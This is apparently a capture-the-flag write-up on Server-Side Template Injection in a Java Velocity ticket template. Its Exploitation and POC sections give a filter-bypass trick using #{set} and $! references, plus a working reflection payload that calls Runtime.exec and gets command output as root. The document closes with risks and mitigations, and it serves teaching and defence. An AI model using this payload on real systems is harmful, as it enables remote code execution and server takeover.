Skip to content

Server Side Template Injection R.C.E via $name Variable

Description

Server-Side Template Injection (SSTI) is a type of vulnerability that can occur in web applications that utilize server-side templates. It happens when an attacker manages to inject a template in a user's input and it gets processed by the server.

When successful, an attacker can leverage this vulnerability to execute arbitrary code, conduct remote code execution attacks, and even obtain unauthorized access to sensitive data or the server's operating system.

The engines that can be affected vary from Ruby's ERB, ASP.NET Razor, AngularJS and many more. The risk factor is high with SSTI and requires effective prevention, monitoring, and mitigation strategies.


Exploitation

First, I started by observing the application. We can see that we have a filter that is as follows: (#|\$|\${)[a-zA-Z]+, and when we input a value that matches this regex, our input will be replaced with "5earch0nGoogl3" (indeed, for this Dojo, Google is our friend).

Here are some examples of regex that will replace our input with 5earch0nGoogl3:

  • #test
  • $test
  • ${test
  • #HelloWorld
  • $MyString
  • ${AnotherExample

Secondly, we can observe our template that uses the variable $name to give us a ticket. This template, as indicated, is in Velocity, which is a Java template engine.

I will try entering "test" and observe the result.

Now, it's time to search on Google, so I go to hacktricks which is my favorite website for payload research, and I find an injection method that aims to execute system commands:

However, since we have a filter, we cannot declare a variable in this way, so this time, we have no choice. We need to look at the documentation for Velocity, and by doing so, I see a way to bypass both the call to the "#set" reference and the variable declaration "$var".

For the call to the reference, it's very simple. Sometimes we need to separate the text from the directives, and to do this, we can use curly braces after the pound sign for our call.

As for variable declaration, we can use what is called "silent" declaration, which is very useful to prevent the variable from being displayed when the template is loaded (for example, a form on load could display $email). To do this, simply add an exclamation point after the dollar sign, which will return an empty string if the variable has no value on load.

To check if what I found is correct, I will use this initial payload:

#{set}($!run = "pouet") $!run ##

Jackpot, our variable is successfully executed!


POC

Now, all that's left is to execute the RCE with the script provided by Hacktricks, which is:

#{set}($!str=$!class.inspect("java.lang.String").type) #{set}($!chr=$!class.inspect("java.lang.Character").type) #{set}($!ex=$!class.inspect("java.lang.Runtime").type.getRuntime().exec("uname -a")) $!ex.waitFor() #{set}($!out=$!ex.getInputStream()) #{foreach}($!i in [1..$!out.available()]) $!str.valueOf($!chr.toChars($!out.read())) #{end} ##
This Java Velocity script uses reflection to obtain the classes String, Character, and Runtime from java.lang. This reflection allows the script to execute methods and access normally inaccessible attributes.

Next, it uses the exec method of Runtime to execute the command "uname -a" on the underlying operating system, which returns information about the system. The output of this command is transformed into an input stream (InputStream) which the script then reads using a foreach loop.

For each byte read from the input stream, the script calls the static method toChars of Character to convert the byte into a character, and then the valueOf method of String to convert this character into a string. This string is then written to the script output, and the rest is commented out with "##" to avoid cluttering the output.

In summary, the script executes a system command and writes its output. The command "uname -a" returns detailed information about the operating system and hardware architecture currently in use.

Result :

"Temple | Entry Ticket=====================Signed by:    0   L  i  n  u  x     2  2  0  c  f  a  6  9  a  c  1  f     4  .  9  .  0  -  1  2  -  a  m  d  6  4     #  1     S  M  P     D  e  b  i  a  n     4  .  9  .  2  1  0  -  1     (  2  0  2  0  -  0  1  -  2  0  )     x  8  6  _  6  4     L  i  n  u  x" 

However, by replacing our "uname -a" with "whoami", we can observe something very dangerous, as we are actually "root". This opens up a multitude of malicious possibilities with maximum privileges.

Result :

"Temple | Entry Ticket=====================Signed by:    0   r  o  o  t"

Risks

Server-Side Template Injection (SSTI) poses a significant risk for both businesses and individuals. Here are some of these risks:

  • Arbitrary Code Execution: SSTI attacks can allow an attacker to execute arbitrary code on the application server. This can allow the attacker to gain full control of the application.

  • Access to Sensitive Data: Once the attacker has gained control, they can have access to sensitive data. This can include personal information for individuals, or important business data in the case of organizations.

  • Malware Propagation: An attacker can also download and execute malware on the server, which can result in a wide range of issues including information theft, data corruption, or turning the server into a botnet.

  • Denial-of-Service Attacks: SSTI attacks can be used to trigger denial-of-service attacks by overloading the server with requests or launching resource-intensive operations.

  • Reputation and Financial Losses: For businesses, this can result in significant financial losses, either directly due to remediation costs or indirectly due to loss of customer trust. Additionally, violation of data protection laws can lead to hefty fines.


How to Protect Yourself

  • Input Validation/Output Encoding: Always validate user input and encode the output. This ensures that special characters are treated as plain text and not as part of the template syntax.

  • Sandboxing: Use a sandbox that limits the actions the template engine can perform. This prevents the execution of malicious code even if an SSTI injection occurs.

  • Keep Up with Updates: Ensure that your template engine is up to date with the latest security patches.

  • Least Privilege: Run your application with minimal privileges to minimize the damage in case of successful exploitation of an SSTI vulnerability.

  • Separation of Templates and Data: By separating templates from data, you can prevent attackers from transferring data payloads through templates.

  • Use a WAF: A Web Application Firewall (WAF) can help block SSTI attacks by blocking malicious requests.

It is important to note that while these measures can reduce the risk of SSTI, they do not completely eliminate it. Security auditing of your applications by information security professionals will help identify and address potential vulnerabilities.

Thank you for reading.